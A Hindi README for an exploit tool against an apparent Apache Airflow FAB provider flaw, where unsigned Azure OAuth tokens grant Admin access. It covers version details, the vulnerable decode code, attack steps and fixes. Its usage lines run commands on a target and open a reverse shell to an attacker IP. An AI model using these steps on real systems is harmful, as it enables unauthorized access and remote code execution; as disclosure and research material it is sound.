CVE-2026-59243 — Apache Airflow FAB Provider OAuth प्रमाणीकरण बायपास → DAG RCE

Apache Airflow के FAB auth-manager प्रदाता (apache-airflow-providers-fab) में प्रमाणीकरण बायपास, जो एक ट्रिगर किए गए DAG के माध्यम से रिमोट कोड निष्पादन की ओर ले जाता है।

प्रदाता Azure OAuth id_token को डिफ़ॉल्ट रूप से अक्षम हस्ताक्षर सत्यापन के साथ डिकोड करता है (airflow/providers/fab/auth_manager/security_manager/override.py, _decode_and_validate_azure_jwt):

verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
    ...                                            # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload))   # raw payload, NO signature check

क्लेम सीधे पहचान से मैप होते हैं — oid → उपयोगकर्ता नाम, roles → role_keys — और AUTH_ROLES_MAPPING एक roles=["Azure-Admins"] क्लेम को Admin भूमिका में बदल देता है। चूँकि टोकन के हस्ताक्षर/जारीकर्ता/दर्शक की कभी जाँच नहीं की जाती (CWE-347), एक हमलावर जो OAuth प्रवाह पूरा करता है, वह बिना किसी वास्तविक क्रेडेंशियल के Admin के रूप में प्रमाणित हो जाता है। एक Admin फिर एक DAG ट्रिगर कर सकता है जो मनमाने कमांड निष्पादित करता है।

• प्रभावित: apache-airflow-providers-fab < 3.7.3 (apache-airflow >= 3.0.2 के साथ)
• फिक्स्ड: 3.7.3 (डिफ़ॉल्ट बदलकर verify_signature=True कर दिया गया; टोकन Microsoft के JWKS के विरुद्ध मान्य किया जाता है)
• CWE: 347 (क्रिप्टोग्राफ़िक हस्ताक्षर का अनुचित सत्यापन)
• डिफ़ॉल्ट पोर्ट: 8080 (Airflow UI + REST API)
• प्रभाव: बिना प्रमाणीकरण के Admin पहुँच → DAG कार्य के माध्यम से RCE (Airflow worker उपयोगकर्ता के रूप में)

आवश्यकताएँ

केवल Python 3 मानक लाइब्रेरी। लक्ष्य में FAB auth manager के साथ कमजोर Azure OAuth प्रदाता कॉन्फ़िगर होना चाहिए, और (RCE चरण के लिए) एक DAG जिसका कार्य हमलावर-नियंत्रित dag_run.conf चलाता है।

उपयोग

python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444   # nc -lvnp 4444 first

यह कैसे काम करता है

1. Auth बायपास — कुकी जार के साथ OAuth प्रवाह चलाएँ (GET /auth/login/azure → IdP → /auth/oauth-authorized/azure)। FAB अहस्ताक्षरित/जाली id_token स्वीकार करता है और Admin के रूप में लॉगिन करता है, एक session कुकी और एक _token कुकी सेट करता है (वह JWT जिसकी REST API अपेक्षा करती है)।
2. RCE — POST /api/v2/dags/<dag>/dagRuns (Bearer _token) में {"conf":{"cmd":"..."}} के साथ एक DAG ट्रिगर होता है जिसका BashOperator dag_run.conf['cmd'] चलाता है। प्रत्येक रन के लिए एक अद्वितीय logical_date उपयोग करें ((dag_id, logical_date) जोड़ी मेटाडेटा DB में अद्वितीय है)।

यह टूल OAuth authorize रीडायरेक्ट में लूपबैक होस्ट को लक्ष्य पर पुनर्लिखित करता है, ताकि यह एक दूरस्थ लक्ष्य के विरुद्ध काम करे जिसका IdP सर्वर कॉन्फ़िग में 127.0.0.1 के रूप में विज्ञापित है।

नोट

यह टोकन-सत्यापन दोष का शोषण करता है। Admin तक पहुँचने के लिए OAuth प्रवाह को एक उन्नत roles क्लेम वाला टोकन उत्पन्न करना आवश्यक है — जहाँ IdP/टोकन को प्रभावित किया जा सकता है वहाँ यह तुच्छ है, क्योंकि Airflow हस्ताक्षर की कभी जाँच नहीं करता। RCE चरण एक ऐसे DAG को मानता है जो dag_run.conf निष्पादित करता है (एक सामान्य पैटर्न); अन्यथा Admin पहुँच का उपयोग Airflow की अन्य सुविधाओं के माध्यम से किया जा सकता है।

सुधार

apache-airflow-providers-fab को ≥ 3.7.3 में अपग्रेड करें; बाह्य रूप से दावा किए गए OAuth भूमिका क्लेम को सीधे Admin में मैप कभी न करें; Airflow को root के रूप में न चलाएँ; UI/API को अविश्वसनीय नेटवर्क पर न रखें।

अस्वीकरण

केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। इसका उपयोग केवल उन्हीं प्रणालियों के विरुद्ध करें जिनके स्वामी आप हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास है।